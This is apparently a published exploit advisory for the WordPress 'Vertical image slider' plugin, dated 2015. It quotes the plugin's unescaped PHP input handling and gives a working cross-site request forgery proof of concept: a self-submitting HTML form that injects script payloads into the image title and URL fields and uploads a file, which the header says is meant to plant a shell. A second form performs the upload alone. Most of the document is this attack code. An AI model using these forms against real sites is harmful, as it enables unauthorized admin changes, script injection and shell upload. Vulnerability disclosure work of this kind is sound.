######################
# Exploit Title : Wordpress Vertical image slider CSRF/XSS
# Exploit Author: Ashiyane Digital Security Team
# Vendor Homepage: https://wordpress.org/plugins/wp-vertical-image-slider/
# Software Link:  
https://downloads.wordpress.org/plugin/wp-vertical-image-slider.zip
# Date: 2015-08-2
# Version: 1.0
# Tested On : Elementary OS - Firefox
######################
# Vulnerabilities :
- Cross Site Request Forgery (For change the values and upload shell)
- Cross Site Scripting
######################
# Vulnerable Code:
<?php
$title=trim(addslashes($_POST['imagetitle']));
$imageurl=trim($_POST['imageurl']);
?>
...
<input type="text" id="imageurl" class="url"  tabindex="1" size="30"  
name="imageurl" value="<?php echo $image_link; ?>">
<input type="text" id="imagetitle"  tabindex="1" size="30"  
name="imagetitle" value="<?php echo $title;?>">
# it shows the content of imagetitle and imageurl parameter without  
any filters.
######################
# Exploit (CSRF, XSS):
-->

<form method="post" name="form1"  
action="http://[URL]/[PATH]/wp-admin/admin.php?page=vertical_thumbnail_slider_image_management&action=addedit"  
enctype="multipart/form-data">
<input type="hidden" name="imagetitle"  
value='"><script>alert("XSS")</script>'>
<input type="hidden" name="imageurl" value='"><script>alert("XSS")</script>'>
<input type="file" name="image_name" />
<input type="submit" name="btnsave" value="Save Changes">
</form>
<script type="text/javascript">
setTimeout('form1.submit()', 1);
</script>

<!--
######################
# Just for upload something by CSRF:
-->
<form method="post"  
action="http://[URL]/[PATH]/wp-admin/admin.php?page=vertical_thumbnail_slider_image_management&action=addedit"  
enctype="multipart/form-data">
<input type="file" name="image_name" />
<input type="submit" name="btnsave" value="Save Changes">
</form>


<!--
######################
# Discovered By : Ehsan Hosseini
######################
-->